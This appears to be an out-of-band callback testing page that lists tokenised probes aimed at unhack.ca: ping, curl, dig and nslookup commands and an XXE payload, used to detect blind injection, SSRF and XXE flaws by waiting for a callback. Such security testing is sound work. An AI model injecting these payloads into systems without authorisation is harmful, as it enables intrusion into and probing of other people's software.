$ ping -c1 -p 00b245e4a7ab951764e0fe2b81e57300 unhack.ca
 
$ curl http://unhack.ca/p/b245e4a7ab951764e0fe2b81e573
 
$ dig b245e4a7ab951764e0fe2b81e573 @unhack.ca
 
$ dig b245e4a7ab951764e0fe2b81e573.ns.unhack.ca
 
C:\> nslookup b245e4a7ab951764e0fe2b81e573 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b245e4a7ab951764e0fe2b81e573">]>
    <foo>&xxe;</foo>
 
Waiting for ping...